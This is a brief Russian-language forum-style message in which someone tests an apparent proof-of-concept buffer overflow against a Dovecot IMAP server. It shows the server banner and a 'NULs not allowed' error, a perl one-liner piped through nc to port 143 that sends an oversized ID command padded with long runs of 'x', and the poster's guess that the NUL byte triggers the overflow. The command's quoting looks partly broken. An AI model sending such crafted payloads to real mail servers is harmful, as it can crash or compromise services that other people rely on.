чекнул пок, не особо помогло * OK [CAPABILITY IMAP4rev1 SASL-IR LOGIN-REFERRALS ID ENABLE IDLE LITERAL+ STARTTLS AUTH=PLAIN AUTH=LOGIN AUTH=DIGEST-MD5 AUTH=CRAM-MD5] Dovecot ready. a BAD NULs not allowed in strings
perl -e 'print "a id (\"foo\" \"".("x"x1021)."\\A\" \"bar\".("x"x1020)."' | nc 127.0.0.1 143, добился чистого но пустого ответа (убрал \000), видимо именно из-за \0 происходит переполнение